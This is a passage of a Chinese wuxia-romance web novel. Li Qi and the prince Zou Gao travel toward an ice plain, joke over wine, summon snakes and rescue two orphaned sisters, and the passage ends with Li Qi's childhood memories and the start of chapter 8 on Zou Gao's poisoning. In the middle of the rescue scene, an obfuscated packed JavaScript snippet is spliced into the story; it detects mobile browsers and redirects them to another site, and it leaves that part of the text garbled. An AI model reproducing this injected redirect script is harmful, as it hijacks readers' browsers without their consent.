不知道是因为天太黑,还是邹杲有意为之,两人的手不小心碰到了好几下,搞得李棋想说点什么,又不好说直接说出口。 毕竟,在邹杲所表现出来的,邹杲一直把她当男人。 李棋在心中深呼吸几次,快速将东西收好,催促着他使唤千赤继续上路。 “好,这就离开这里。”邹杲应着,贴心笑着又道,“你去里面睡会吧,要打架的时候我再叫你。” 邹杲又看向她放在一旁还血淋淋的鞭子,又道:“李兄放心睡,等你醒来,我保证还你一根干干净净的鞭子。” 李棋现在睡不着,越是和邹杲相处得久,她越想弄清楚邹杲到底是个怎么样的人,到底在心里图算什么? “胳膊疼得睡不着,我自己擦。”李棋说着,熟练钻进马车,拿出一张新的帕子和一坛没开封的酒。 醉红尘已经喝完了,这是路过城镇时随便买的。 可能是嘴巴被醉红尘养叼了,喝着有些不是滋味,还有一股子苦味。 她坐在邹杲旁边,借着马车上挂着的烛火,先用酒把帕子完全打湿,又喝了一大口酒,然后递给邹杲。 邹杲也没客气,接过来仰头喝了一口,见她在擦鞭子,也不急着递给她,一边看路,一边继续慢慢地喝。 李棋缩在马车里的阴暗处,一边擦鞭子,一边悄咪咪观察他。 邹杲似乎没注意到她的观察,只一口又一口喝着酒。 夜深人静,□□唱忙,不知道过了多久,千赤带着他们行至一个宽敞且四通八达的官道交叉口。 邹杲将手里已经喝完的酒坛扔进马车里,牵动缰绳让千赤停在路边后,又解了千赤身上的缰绳。 千赤很乖,原地坐卧休息 “今晚就在这里将就下吧。”邹杲说着,爬上马车,钻进车厢里。 李棋此刻依旧没有睡意,她将鞭子缠藏回大腿上,又从暗格里掏出两坛酒。 “再陪我喝点?”李棋说着,却已经将酒坛打开递给邹杲。 邹杲苦笑,“我已经喝了差不多一坛了,你确定还要我继续喝?” 刚刚那坛酒李棋的确只喝了几口,大部分都让邹杲喝了。 “怎么,对我不放心?” 李棋又说,“哪怕你今晚真醉死过去,我也能保你周全。” 说着,她抱着属于自己那坛坐到门帘边,提着酒坛朝邹杲示意,“少废话,来,再陪我喝点。” “你都这么说了,我也只能舍命陪君子了。” 邹杲说着,拿着酒坛和她碰了碰,也坐到了门帘边。 天色越来越晚,月色却越发明亮。 两人就这么一下又一下碰着杯,很快,两坛酒就被他们喝得差不多了。 喝掉最后一口,李棋一边去打量邹杲的神态,一边盘算着要不要再拿两坛出来喝。 这时,只听邹杲低沉的声音突然响起,“小棋。” 李棋愕然,猛地朝他看去,只见,明亮的月光下,邹杲的脸颊上好像多了两团坨红。 他的眼神有些迷离涣散,似乎已经喝多了。 不等李棋说话,就听他用往日语速的一半又道:“那日,我似乎听见你师父这样叫你,你我兄弟二人虽才相识十来日,但也算出生入死了,李兄贤弟太生疏,我可以和你师父一样,也叫你小棋吗?” 这酒的确比红尘醉烈一些,但不至于吧。 两坛酒而已,这就醉了? 邹杲打的什么主意?是装醉还是真醉? 李棋上前一些,伸手在他面前晃了晃,“你喝醉了?” “醉,不,没有,我没有醉。” 邹杲的口齿还很清晰,但眼神却很迷离,动作也慢了很多。 李棋找不到一点作假的破绽。 他说完,抿了抿唇,另一只手抬起就要来抓她的手。 李棋先一步躲开,他跟饿了几十天终于看到肉的狗狼一样,又追扑上来。 这样的邹杲有点好玩,李棋不可思议的同时,也起了坏心思。 逗了他几下,李棋便停了下来,她没好气拍了邹杲不老实的手一下,而后将其抓住。 她将手里的空酒坛丢进马车,又抢过邹杲抱着的、只剩下一两口的酒坛,将里面的酒一饮而尽后,这个酒坛也被她扔到了马车里。 酒坛被抢,邹杲起先挣扎了两下,但抓住了李棋的手,他也就不挣扎了,只将李棋的手抱在怀中软绵绵躺着。 李棋想挣脱去摸他的脉搏,但他抱得很紧,李棋一时挣不脱,另一只手又有伤在身,不太方便。 说起来,除了皇宫那一回,李棋还没摸到过邹杲的脉搏呢。 又挣扎了一番,非但没成功,邹杲还将她的手抱得更紧了。 无奈,李棋只得作罢。 看着邹杲红扑扑的脸,还有小孩一样嗫嚅砸吧的嘴,他似乎真的醉了。 犹豫片刻,李棋不再去抓他的手腕,而是由着他的牵扯,上移戳了戳他的脸。 她试探问:“你,睡着了吗?” 闻声,邹杲痴痴笑了笑,“没,没有睡,我只是,闭上眼睛,休息,休息会。” 这样的邹杲前所未有的乖软,莫名的,李棋感觉他亲近许多,像是在跟她撒娇示弱一样。 看着邹杲坨红的脸,一时挣扎,想摸上去又觉得不好。 好一会儿,理智才战胜冲动,她反应过来,正要收回还捏着邹杲脸的手,突然,邹杲按住她的手,不让她的手离开。 李棋也是这才发现,邹杲真的很瘦,他脸颊上也没有多少肉,他这张出众的脸依旧好看,全靠骨相在撑。 想到她初到鄂阳时,听到的那些传闻,只是只言片语,但不难整合猜测。 邹杲虽然生擒了赵国的皇帝,但也受了不轻的伤,后来还再一次替皇帝挡伤,可能武器上还有毒,说的是昏迷了几日,但昏迷这些时日承受了多大的痛苦,也只有他自己知道。 偏偏,没良心的皇帝还在邹杲昏迷的这几日熔了他亲手赐给邹杲的、象征权力的钺斧。 邹杲大病初醒,得到的不是赞扬奖赏,而是被效忠九年的义父忌惮打压。 估计,他的身体就是在那时候一点点变得瘦弱的。 后面身体虽然好了,但估计是不敢、也没法再将身体养到曾经征战沙场时的健硕模样。 这么想着,李棋又忍不住有点心疼他。 这时,邹杲突然在她手上蹭了蹭,努力眨巴着怎么也睁不开的眼睛看着她追问,“你还,没,回答,我。” “回答你什么?” “称呼,我能不能叫你小棋。” 李棋又是一愣,十分不自在点头,“随意,名字只是一个称呼而已,没那么重要。” 同时,李棋心中纳闷,搞不清邹杲到底看没看出她其实不是男人。 “那我以后便这么叫你吧。”邹杲说,“你也可以叫我阿杲,邹杲,尘琛,叫我的本名姜茭也可以,姜兄也可以,哈哈,但是姜兄真的好奇怪,好像在叫一块生姜。” ‘姜兄’这个称呼李棋只喊过一次,她都快忘了这个称呼。 “你的父母为何以‘茭’字给你取名,有什么典故寓意吗?” 邹杲憨笑,口齿含糊,“不知,我猜是没有的,毕竟,名字只是一个称呼。” 李棋吃瘪,无形之中被邹杲堵得说不出话来。 又忍不住在心里嘀咕,邹杲究竟醉没醉啊,怎么还记得怼她。 邹杲又问:“小棋儿,你是几岁跟着你师父的?完全不记得有关你父母的一切吗?” “完全不记得。”李棋道,“我连名字都是师父取的。若是我父母在,我的名字应该也不会如此敷衍。” 李棋没有说谎,她虽然叫纪敏娘亲,师父也说纪敏是她娘亲,但是纪敏却不止一次告诉她,纪敏并不是她的亲生母亲。 “虽然名字只是个称呼。”李棋说完又自嘲补充。 邹杲又问:“你想过去找你的父母吗?” 李棋往后靠了靠,靠坐在门框上,也不擦鞭子了,盯着他看了一会儿,见他脸上依旧是醉态,但李棋依旧不死心。 两人僵持了许久,醉呼呼的邹杲轻笑出声。 他果然是装的。 “好了,我认输。”邹杲笑盈盈放开她,“李兄,别瞪我了,眼睛不酸吗?” 他口齿清晰,眼神清明,哪还有半分醉态。 李棋差点把一口牙咬碎了,天杀的邹杲,果然又是在装醉逗她。 “好了好了,李兄,小棋儿,我错了还不成吗,别生气了。”邹杲态度良好认着错,凑上来就要抓住她的手臂摇晃示弱。 李棋躲开他的手,懒得和他一般见识,转头看向黑幽幽的夜空,大口大口喝着酒。 片刻,邹杲又小心翼翼凑上来,“小棋?李兄?真生气了?” 李棋懒得管他,许久,她问:“你刚刚问我什么,想没想过去找我的父母是吗?” “啊?”邹杲一愣。 李棋却幽幽道:“想啊,怎么不想。只是,天下之大,又接连战乱数十载,谁知道他们是否还活着,在哪里活着。” 邹杲组织了好半天言语,才试探道:“你师父捡到你的地方,应该是他们生活过的地方吧。” “师父捡到我的地方……” 李棋陷入回忆,良久,她自嘲笑道:“太久了,师父自己都不记得他是在哪里捡到我的了。我也不记得我是怎么被师父捡到,又是怎么跟着师父去到玄林的了。” 她又说:“明明感觉第一次去玄林就是在昨天,可是,我却不记得我第一次去玄林时的天气是怎样的,也不记得玄林最原始的美景。” “老喽,记忆不行了。” 沉闷的氛围被她这句话打破,邹杲没忍住轻笑出声,“小棋儿你才多大啊?你若是老了,我岂不是离入土不远了。” “十九,我的生辰在二月初十,两个月前,我刚过完十九岁的生辰。”李棋苦闷说完,又觉得这样没用,看向邹杲,不由挑了下眉,毒舌道,“不及时找到解药,你的确得离入土不远了。” 邹杲忍俊不禁,脸上没有丁点担忧,“我有预感,有小棋儿你在,我是一定不会死。” 李棋不配合嬉笑了,严肃盯着他,认真道:“要是找不到师父说的解药,或者没在限定时间内找到,我在不在都救不了你,到时候别说我师父,就算是神仙来了也救不了你。” “所以,王爷啊,你要是安排人跟着我们了,就把人叫出来给我们开路,不然,别说两个月,就算是两年也到不了无尽冰原。” 邹杲驾着马,无奈笑道:“那可怎么办,交了兵符,我就没有人可以使唤了,私自养兵是要诛九族的。” “你真没养人啊!”李棋无奈叹了口气,这时,路过一株槐树旁,枝丫扫在马车上,险些划过李棋的脸。 她伸手摘下一把新鲜的叶子,一边挑选一边抱怨说,“这几天,打了太多的架,我从一开始的兴奋,到现在,厌烦无比。” 邹杲假模假样道,“我也想帮你分担,可惜我的身体不允许,哎……” 李棋被气笑了,“你少说风凉话气我。” 她将没擦干净的鞭子和帕子抛给邹杲,拿过酒坛仰头喝了一大口,喷出一些洗了洗挑选出来的叶子,咽下嘴里的酒后,又仰头喝了一大口,咕咚咕咚咽下,将槐树叶放在嘴巴边吹了起来。 这是叶笛,吹奏的曲子也是鬼族最常用的御虫蛇的调子之一。 邹杲又在心里默数,才数到五十五,两边的草丛中传来窸窸窣窣、动物爬行传出来的动静。 幽扬的叶笛音还没停,邹杲默数到八十五,李棋又从腰包里摸出一个埙,这次吹出来的曲调要舒缓很多,空灵孤寂。 邹杲听得入了迷,忘记了数数,只有手还在机械性的擦拭李棋的鞭子。 一曲未毕,沉闷、雄浑且悠扬的钟声从远处传来若隐若现,配合着李棋用埙吹出来的声音,倒是格外动听。 在古朴的钟声中,李棋缓缓停下了吹奏,不过两旁的窸窣声倒是始终跟随。 “怎么有钟声?”李棋诧异的声音将邹杲从陶醉中拉出来,“这钟声不会是从砚泉寺传来的吧?不会吧,难道我们十天只走了三天的路程?” “我们的方向没错的话,这钟声应该就是从砚泉寺传来的。” 李棋崩溃了,一下子瘫倒了马车上。 她不小心碰到了胳膊,龇牙咧嘴的,忍不住哀嚎:“我好想死一死,这六天累要死,结果才走了这么一点点路程。” “照这个速度,再有五十天我们也未必能赶到瀚海城,何况还得进入白茫茫的无尽冰原寻找灵狐。” 邹杲叹了口气,为难问道:“不然,我们绕道去一趟砚泉寺,看在我常胜王的身份上,砚泉寺的主持应该会同意借两个人给我。” 李棋心中一惊,却隐隐兴奋,六天,她整整打了六天,邹杲终于愿意暴露一点点手中势力了。 虽然兴奋,但李棋还是装模作样道:“砚泉寺不是江湖势力吗,怎么会因为你是王爷就给你面子?” 这虽然是她第一次入世,但是主要江湖势力她还是知道的,以鄂阳为中心,分别是东边的逍遥门,东北方向的砚泉寺,西北方向的蕀篱门,西边的金曲楼、暗秋城,南边的浩然山庄以及溟南深海中的鬼族。 她之前以为那些江湖人士都和她师父一样,不屑和皇室或者官宦打交道,但现在看来未必。 “一个月前,皇上派人去了一趟砚泉寺。”邹杲说,“以后,砚泉寺就是大嬴皇室的皇家寺庙了。” “什么?” 李棋惊讶得猛地坐了起来,不小心碰到胳膊都顾不上疼,激动问:“也就是说,砚泉寺从江湖势力中除名了?” 邹杲意味深长笑问:“谁规定归顺皇室,就不是江湖势力了?何况,陛下只是在砚泉寺供奉大嬴皇室的牌位罢了,这不是所有寺庙的职责所在吗?” “还能这样搞!”李棋目瞪口呆咂舌,许久没能接受这个事实。 “为何不能?总要有人开辟先河。”邹杲笑问,“如何,要去砚泉寺借人吗?” “呃……” 一听不是邹杲的势力,李棋瞬间没有了心思。 虽然一拨又一拨的追杀的确很讨厌,特别是打扰她吃饭睡觉的那些。 她喜欢平静的生活,但却并不是能闲得住的,就当消遣锻炼了吧。 “算了吧,你的仇家们有无尽的打手,我也能找到无尽的帮手。” 她神神秘秘说着,安静下来,同时示意邹杲听四周的动静。 邹杲早就听到了,也没有太过惊讶,只好奇问:“你会鬼族的御兽密术?鬼族的神妙手前辈也是你的师父吗?” “是。”李棋毫不掩藏点头,她不在意邹杲知道她的底细,相反,她甚至恨不得直接告诉邹杲她的底细,和邹杲开诚布公地谈一谈。 但纪敏的提醒却让她不敢如此,邹杲和他师父是一伙的都好,就怕邹杲非但不是,还和成武帝是一伙的,那她告知底细,估计得死千万次。 另外,说起鬼旸,她难得的没有自信,还有几分羞愧,“我并没有从鬼爷爷身上学到多少东西,我玩不来蛊,也就会逗逗蛇虫以及一些小野兽。” 李棋顿了顿,又笑着补充道:“不过,鬼机灵的蛊术很厉害,比起鬼旸爷爷,青出于蓝而胜于蓝。” “鬼机灵,小灵就是你要找的那个女子,他的名字是有点草率,但还是很可爱的不是吗。” 出乎她的意料,邹杲竟然没有追问有关鬼机灵的事,而且兴趣缺缺,李棋想提起,又不知道如何提起,最终只得作罢。 邹杲生硬转移话题:“就在这附近休息吧,等天亮了,我去河边找些石子,我的仇家再寻上门来,我也能帮帮你。” 邹杲这几天虽然没有直接参与战斗,但是来人一拨比一拨凶狠,李棋一个人也不太招架得住,这些天,他没少出手,马车里携带的陶瓷杯、酒坛子都被他捏碎得差不多了。 想到这个,李棋就想笑,“不用,里面有三个酒坛子,够用一阵了。” 她说着,掀开了帘子,看着马车里面的三个酒坛子,邹杲也哭笑不得。 李棋心情大好,拿起埙继续吹奏了一段曲调,把附近的蛇虫都吸引过来,密密麻麻围在他们的马车周围,方圆一里都无从下脚,这才停下。 她又从腰包里掏出一个裹了好几层香囊的小瓷瓶,将香浓的药粉洒在蛇虫之间,看着它们如做梦般陶醉,这才满意回到马车上。 两人各自占据了一半的面积,就这么将就了一晚上。 这是十分安宁的一晚。 * 第二天一早,两人在一堆蛇里面抓了两条肥的,在河边开膛破腹清洗干净,烤了吃了后,便继续赶路。 正午,两人一马行至一个小山村,邹杲道:“在这里歇息片刻,给千赤配些精草料。” 李棋应了声,牵动缰绳调转方向往村中而去。 刚到村口,就听到不远处的喧闹,以及围拢在一起的一大群村民。 见人群中被拉扯的是一个年轻的女子,李棋将缰绳往刚钻出来的邹杲手里一塞,留下一句‘我去看看’就快速腾跃而去。 这群人以中间被拉扯的一大一小两个女子被分为两拨,抢人的一拨大多数青壮男人,护人的一拨则比较混杂,老弱女流占大多半。 她也没有直接冲进去,而是不动声色跃到旁边的屋顶上,打算先弄清楚情况再说。 听他们拉扯间的言语,李棋大致理清,少女被家中长辈婚配给人做续弦,但少女不愿嫁,长辈又不愿退聘礼,便伙同夫家硬来。 见抢人队伍中一个中年男人暗暗对身后人打手势,而后就要趁人不备伸手去抓小女孩,李棋一跃而下,一脚踢飞那个男人,将小女孩抱起,又以手背为刃,砍向钳制少女的那几双手,趁其吃疼撤手,一个侧身将姐妹俩护在身后。 护着少女的为数不多的几个男人与七八个妇人自觉上前将她们护在身后。 “什么人?活腻了吗,也敢和我牛猛抢人!”一身横肉的中年男人被搀扶着起身,都还没站稳,就开始放狠话,在看清李棋的脸后,他脸上尽是下流的笑容,“还是说,你要替她不成?” 李棋越过人群睨他一眼,还未说什么,被她护在身后的少女扯扯她的衣服,用颤抖哭泣的声音低声且快速道:“多谢姑娘救我,但他们太人多,我贱命一条,死了就死了,妹妹还年幼,还请姑娘救我妹妹一命,带着她快快离开。” 说话间,牛猛和十来个凶神恶煞的男人已经近到跟前,他们以手中的刀斧威胁,护在身前的一众村民虽未完全散去,但也没人敢言语阻拦。 “长得这么漂亮还未嫁人,难不成是有什么隐疾不成?”他边说边推开挡在中间的人,李棋担心他们受伤,当即拨开人群主动上前。 牛猛见了笑得更猖狂,“胆子不小,性子也足够泼辣,你该不会是知道爷的喜好,特意赶来吧,”说着,就要伸出手就要捏住李棋的下巴。 李棋自然不会任人宰割,她抬手一掌,男人连带男人身后的三人都飞了出去,撞到外围一众观看的村民。 众人都是一惊,观望的人中终于有人站出来劝李棋以和为贵。 李棋却没搭理来人,只转身看向姐妹俩,“你们怎么想的?” 见两人呆呆看着她,她看向姐姐补充又说,“你不想嫁,我可以帮你,让你和你妹妹去别处生活。” 姐姐流出泪来,当下就要跪下给李棋磕头。 李棋才将人拦住,就听一个中年女人哭骂道:“还有没有天理,就算是江湖大侠,也不能硬抢人女儿吧,来人啊,丧良心啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680492|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐含泪怼道:“姨母,究竟是谁丧良心,旁人不清楚,您还不清楚吗?” 中年女人闻言企图通过撒泼打断她,但姐姐被李棋护在身后,又听见有人在替她们姐妹说话,鼓起勇气将受到的委屈都一一控诉,“若早知投靠您会有此一遭,我和妹妹就算是饿死在父母身旁,也绝计不会来投靠您。” “来您家一月有余,您不但抢走了娘亲留给我与妹妹的祖传玉镯与银发簪,还对我和妹妹百般打骂欺侮,如今不但要把我嫁给与姨父一般年龄的男人做续弦,还计划将妹妹卖到花柳之地,您全然不顾与母亲的姐妹血缘,我和妹妹如何再敢认你做姨母。” 此话一出,村民议论纷纷,从始至终护着姐妹俩的一众人讨伐的声音一时间压得中年女人抬不起头来。 李棋也不愿浪费太多时间,她问姐姐,“还有什么要拿吗?” 姐姐摇头,妹妹说:“我们的全部都被姨母抢去卖了,衣服鞋子也是他们穿不要的。” 两人都穿着灰扑扑、满是补丁的衣物,李棋心疼摸摸妹妹的脑袋,而后转头对众人冷脸道:“人我带走了,不怕死的尽管再来。” 她拉着姐妹俩往前走一步,众人自觉退开两步,毕竟刚刚中了她一掌的牛猛此刻还半死不活躺地上呻吟呢。 走出人群,看到不知道何时牵着千赤来到人群外的邹杲,李棋脚步一顿。 她早把买精草料的事情抛到了九霄云外,她讪讪一笑,连忙转过身看向众人,众人都是一惊,生怕被殃及。 “村里的人应该都在这了吧,谁家有精草料,我要买一些。” 听只是要买精草料,众人松了口气,一阵交头接耳,一个佝偻的老婆婆被一个少年搀扶着走出人群。 李棋对老婆婆有印象,她也是护着姐妹俩的人之一。 老婆婆和蔼笑着说:“我家还有些豆子和干草,姑娘去看看吗?进村右边第一家就是。” 注意到姐姐小幅度的点头肯定,李棋坦然一笑,应声说好。 一行人很快步行到老婆婆家,她家的确有不少干草和大豆,都是晒干装好的,随意打开其中一袋,确定下面没掺假,邹杲大手一挥,全给买了,整整七大袋,全部装车,一行人立刻又出发。 姐妹俩和精草料挤在车厢内,李棋和邹杲则分别坐在两边架马。 驶出去一段路程,将刚刚途经的小山村远远甩在后面,姐妹俩才从车厢中探出头来。 “大侠……”姐姐轻声喊,她满是踌躇,半天没有下文。 年龄稍小的妹妹就没她那么多顾虑了,她挤到李棋和邹杲中间,亲昵抱住李棋的手臂,用一双又圆又亮的眼睛看着李棋感激说:“大侠,谢谢你救了我和姐姐。” “举手之劳,不客气。”李棋捏捏她过于瘦削的脸,看向姐姐问,“你们祖籍哪里,之后有什么打算?” 她扫了眼邹杲,又道,“我们还有要事在身,没法送你们到太远的地方去。” “我们本是信阳人,两个月前被人屠村,父母亲族惨死,我与妹妹侥幸活命,不得已来投奔姨母,却不想姨母人面兽心。”说着,姐姐忍不住留起泪来。 妹妹或许是想到当时的惨景,也跟着流泪。 李棋手足无措,看向邹杲希望他帮忙,但邹杲只拿出一方手帕递给她。 她只得接过手帕,笨拙替两人擦泪,好一番安抚,两人的眼泪才终于止住。 姐姐说:“路过城池,大侠你将我们放下就行,只是大侠的救命之恩,姜云姜雨恐怕无法报答。” 无人注意,听闻此言,邹杲把玩玉佩的动手一顿,抬眼细细看了姐姐姜云一眼。 李棋抓住姜云的手,“举手之劳,不必放在心上,只是你们两个清秀的弱女子,我说什么也不能随便把你们放在路边。” 她说着看向邹杲,“姜兄,这两个妹妹说起来算是你本家,你不安排一下说不过去吧。” 邹杲一笑,他看看二人,又看向李棋,这才点头道,“好,我安排。” 随即,他问两人,“你们具体是信阳何地人?屠村这种大事,官府没有派人查处吗?” “信阳郊外姜家村,他们查了一个月,最后说是地痞酒醉纵火,”姜云含泪说,“地痞纵火何至于将全村屠杀殆尽,又何至于挖坟掘墓、让祖先尸骨曝尸荒野。我提出疑点,却导致妹妹被太守的走狗盯上……” 妹妹姜雨抱住她,姐妹俩忍不住无声又留下泪来。 李棋欲安慰,但被邹杲一个眼神拦了下来。 邹杲说:“我是大嬴常胜王邹杲,我会安排人送你们返回信阳,查清屠村与太守玩忽职守之事。” 姐妹俩都是一惊,但惊讶过后就是感激,当即跪下连连磕头,李棋拦了好半天才拦下来。 邹杲驱车,车架缓缓往附近的城池驶去,李棋则和姐妹俩断断续续聊着天。 李棋还挺兴奋,心想总算可以看到邹杲的部分势力了,却不料,邹杲直接找了当地太守,亮出身份命其办事。 虽然失落,但也没办法。 四人在城中寻客栈休息了一晚,第二天一早,李棋与邹杲先一步出发。 分别时,姜雨格外不舍,抱着李棋的大腿问李棋的名字,又问还能不能见面,甚至还问了句能不能跟在她身边。 最后被姜云拦下,她才不得不作罢,放开李棋送两人离开。 李棋担心两人无依无靠,悄悄往姜雨怀中塞了五个小金饼,这才上车离去。 * 从上车起,邹杲就钻到车厢中一声不吭,车子驶出城池,官道上人越来越少,李棋才敲敲车板,对里面道:“你在担心你父母的坟冢吗?” 好半天,久到李棋以为他不会回答,才听他说:“我父母的坟冢早已被我迁移,我只是在想究竟何人、所谓何事,才残忍做出屠村之举。” 他又说,“这么大的事,尚在边关的皇上不知情,彼时在信阳监国的颍王难道也不知晓吗?他又为何草率结案?” 李棋说不出话来了。 接连好几天,直到邹杲首次毒发,两人才逐渐停止去思考信阳屠村惨案背后的阴谋,专心赶路。 这几日依旧有拦路虎,但都无足轻重,只要是在野外,光是李棋招来虫蛇就够这些人吃一壶了。 不知道是虫蛇的缘故,还是邹杲的仇家来得差不多了,渐渐的,追杀他们的人的频率越来越少,到后面,三五天也遇不到一回。 之后的很长一段时间,他们只在城中休息了三个晚上,其他时候都在赶路。 李棋原本还担心千赤吃不消,谁知道,千赤精神得很,就算是枯草也能吃得香,速度一如既往地快。 如此一来,他们的速度就快了。 风餐露宿,他们终于在出发的第二十三日赶到了无尽冰原。 ** ——李棋的回忆1—— 关于儿时的记忆,李棋能想起的不多,印象最深刻的,就是那场大火。 她记得她、师父,还有师兄子瞮顺着密道从熊熊火场中逃出来,又被人追杀,残喘逃亡的狼狈。 更记得在生死存亡之际,白茫茫的天地间,红衣如火、以黄金狐狸面具遮面的女人从天而降救下他们时的场景。 高大狰狞的男人高举着沾着师父的血的刀,刀上的血滴在她的脸上,糊了她的眼,吓得她不敢动弹、不敢放声啼哭,傻愣愣定在原处等死。 刀劈向她、离她越来越近,在她绝望闭上眼,突然一条红色长菱勾住她的腰,将她从刀下扯开。 飞扬四溅的尘土代替她捱下一刀。 直到离开,李棋也没见到女人摘下黄金狐狸面具,但是女人那饱满翘润的唇,她却始终记得,并且十分熟悉。 虽然女人身上的香味变了,她却也猜到了女人的身份,只是女人伸出细长白皙的手指轻柔抵住了她的嘴,摇头示意她安静。 从被女人救下,到鬼旸爷爷、山花子爷爷和逍遥门一身酒味的赵伯伯赶来,前后不超过一个时辰。 她虽然被吓傻了,却记得在太阳落下时,鬼旸爷爷扶着师父,山花子爷爷抱着摔破头晕过去的师兄,一身酒味的赵伯伯抱着她跟女人挥手道别,而后骑着马往太阳相反的方向而去。 之后,他们穿过了漂亮但是凶险的丛林,山花子爷爷和酒鬼伯伯为了逗她和师兄开心,带着他们去掏松鼠窝,还抓了两只漂亮的野山雀给他们玩。 鬼旸爷爷又摘了两枝红色的梅花,代替簪花插在她师父给她扎得整齐漂亮的两个发髻中。 因为师父受伤严重,他们走得很慢。 到达玄林的那天,下着小雨,师父他们都穿戴着了厚重的蓑衣斗篷,只有她和师兄没有,不过她们也并没有淋雨。 她依然被酒鬼伯伯抱着同骑一匹马,师兄则被伤差不多痊愈的师父抱着。 酒鬼伯伯一路上都把她保护得很好,唯独到了玄林,下马时弄了她一身水。 那天晚上,她和师兄在师父的陪伴下,在山洞中住了一晚。 第二天醒来,青翠茂密的竹林被推到一大片,取而代之的是三间简陋的竹屋,还有穿着蓑衣、戴着斗笠,在雨中分酒喝、跟她和师兄嘚瑟的两个爷爷和一个伯伯。 后来,又来了两个头发胡子比师父还白的爷爷,在他们的帮助下,玄林的进出变得很复杂,但是很安全,再没有人在她睡得香甜时闯进来,要杀了她和师兄。 再之后,她、师父、师兄,还有在旷莽丛林抓来的两只野山雀在玄林安了家。 安顿的第二年,她闻到了熟悉的香味,见到了她的娘亲。 师父说这个女人正是纪敏,是她的娘亲,现在也是金曲楼的蝶恋花。 李棋那时候不懂,她喜欢娘亲身上的味道,觉得很熟悉,也喜欢娘亲给她梳的漂亮发髻和给她准备的漂亮衣裙。 之后每一年的生辰,她都能见到娘亲,都能在生辰这天和娘亲,还有师兄师父一起做她想做的很多事。 比如让师父给他们煮长寿面,虽然师父一做就会做很多,往往要从初五六,吃到十一二三,当时很腻,但却是她每年都期待的一项活动。 又比如让娘亲给她梳漂亮的发型,她真的很喜欢坐在娘亲怀中,被娘亲的手温柔抚摸着的感觉。 还比如让同样是寿星的师兄去给她采野花野…… 二月初十前后,她总是过得很开心,并且,还不用做功课,她觉得自己就是最幸福的小孩。 直到三年前,她和师兄十六岁生辰前夕,一切都变了。 师兄和师父争吵不止,不惜断绝关系也要毅然离开玄林后,她最依赖、大老远赶来的娘亲也告诉她,她最喜欢的娘亲不是生育她的人,她并非大梁的公主,她从来就叫李棋,而不叫李蕲,真正的李蕲是师兄子瞮,她从来只是师兄的替死鬼。 一瞬间,她只觉得天都塌了。 但娘亲不让她去和师父验证,只一遍又一遍告诉她,她不是大梁的公主,所以不要想着为大梁复国或为大梁皇帝复仇。 听到这话,她终于释然,既然娘亲说不是,那她就不是。 她学着不追问自己到底是谁,也不问自己既然不是大梁的公主、那她的亲身父母是何身份,更不问她为什么完全想不起十岁之前、来到玄林之前的记忆。 这样,她才能心安理得不去谋划复国复仇事宜,心安理得的过她想过的平稳但可以随意找乐子的生活。 在娘亲乔装打扮来鄂阳提醒她时,她就预想了很多可能,也想通了一些困扰她许久的事情,只是她不愿相信,并且下意识忽略无视。 纪敏血淋淋地撕开了她不愿面对的那些现实。 师兄离开后,她逃避了三年,终究还是没逃掉。 看似偶然又必然的和邹杲绑定到一起。 她遇到过的人不多,几乎每一个她都看不透。 其中就包括邹杲,同时,邹杲也是让她最好奇的一个。 若不是中间隔着鬼机灵,李棋真的想尝试着和邹杲推心置腹,最好再谈情说爱。 邹杲避免不了欺骗利用她,但多了这一层关系,邹杲又不是完全丧良心的人,应该不会那么狠。 这样,她这一路,或许能走得轻快些,就算最后真的会死于他们的算计中,那她也能少点遗憾。 只可惜,中间隔着鬼机灵这个不是亲弟弟,但胜似亲弟弟的小弟。 8. 无尽卷·第八章 8 在离开鄂阳的第二十三日,他们终于到达了离无尽冰原最近的瀚海城。 同时,邹杲身上的毒也开始发作了。 中医上七情分别为:喜、怒、忧、思、悲、恐、惊,喜伤心、怒伤肝、忧伤肺、思伤脾、悲为肺之志、惊恐伤肝肾。 六欲则是指眼、耳、鼻、舌、身、意的需求或愿望。 即见欲(视觉,贪美色奇物)、听欲(听觉,贪美音赞言)、香欲(嗅觉,贪香味)、味欲(味觉,贪美食口快)、触欲(触觉,贪舒适享乐)、意欲(贪声色、名利)。 七情六欲影响着五脏六腑。 中医的五脏分别是指心、肝,脾、肺、肾,六腑则是指胆、胃,小肠、大肠、膀胱、三焦。五脏主要是贮藏精气,六腑壬要是消化食物,吸取其精华,排除其糟粕。 七情影响脏腑气机的病变规律,《素问》概括为:怒则气上,喜则气缓,悲则气消,恐则气下,惊则气乱思则气结。 虽然毒赋研究‘无忧’之时,就是想通过影响七情六欲,让人的五脏六腑挨个损伤。 但是或许是之前只用动物试验的原因,控制得并不准确,至少,就李棋的观察而言,那些动物并没有完整的周期性病发或病变的过程。 但是,邹杲却不一样,也不知道是因为他是人,还是他一下吃掉了能杀死百余头动物的量,他有非常明显的周期性。 而如今,接近两个周期过去,邹杲从无症状到如今,已经有大喜过度之势。 虽然喜可使气血流通、肌肉放松,益于恢复身体疲劳。 但欢喜太过,则伤损心气。 阳损使心气动,心气动则精神散而邪气极,从而出现心悸、失眠、健忘、痴呆等症状。 大喜不但伤‘心’,还给李棋带来了不少麻烦。 比如现在。 李棋终于牵着骑着千赤的邹杲进入无尽冰原外围,还未来得及探查灵狐方向所在,就先被七八个穿着棉袄的男人拦住了去路。 他们的衣着,还有他们的行事作风,一看就是家中有些权势,且常年借着家中势力,狐假虎威、装模作样的地头蛇。 为首高大、满脸横肉的男人一脸淫/笑看着李棋的脸,语气还算温和,就是听得李棋有些恶心。 “姑娘,你是要去无尽冰原吗?” 虽然此刻穿着男装的她被一眼认出是女子,但李棋却并不开心,这些男人看她的眼神很恶心,令李棋生厌。 而且,只要不眼瞎,都能一眼看出李棋是个肌若凝脂、美若天仙的大美人。 没错,这里主要强调邹杲,也就他,一路走来,一直叫李棋兄弟,虽然后面姜云姐妹证实他是有意逗弄她。 拦住他们去路的几个男人虽然一副流氓做派,说话却文绉绉的,不过依旧难掩下流之气。 